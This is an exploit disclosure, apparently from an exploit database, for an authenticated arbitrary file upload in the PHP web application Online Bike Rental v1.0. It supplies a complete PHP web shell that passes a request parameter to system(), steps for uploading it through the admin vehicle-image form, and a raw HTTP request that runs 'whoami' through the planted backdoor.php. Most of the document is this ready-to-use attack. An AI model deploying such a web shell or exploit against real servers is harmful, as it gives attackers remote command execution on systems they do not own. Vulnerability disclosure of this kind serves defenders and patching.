# Exploit Title: Online Bike Rental v1.0 – (Authenticated) Arbitrary File Upload / Remote Code Execution
# Date: July 31, 2020
# Exploit Author: Adeeb Shah (@hyd3sec)
# Vendor Homepage: https:/www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14374/online-bike-rental-phpmysql.html
# Version: 1.0
# Tested on: Windows 10 (x64_86) + XAMPP 7.4.4

Online Bike Rental has an authenticated (admin) arbitrary file upload vulnerability that allows for remote code execution.

1. Create a malicious PHP file with this content:

   <?php 
	if(isset($_REQUEST[‘cmd’])){
	echo “<pre>”;
	$cmd = ($_REQUEST[‘cmd’]);
	system($cmd);
	echo “</pre>”;
	die;
	}
   ?>
	

2. Authenticate as admin via admin portal; navigate to manage vehicles and upload malicious php. Navigate to uploaded file path to execute php code.

GET /bikerental%20PHP/bikerental/admin/img/vehicleimages/backdoor.php?cmd=whoami HTTP/1.1

Host: 192.168.222.132

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: style=purple; PHPSESSID=2lpoqi5jmbeiabqemraesot9nh

Upgrade-Insecure-Requests: 1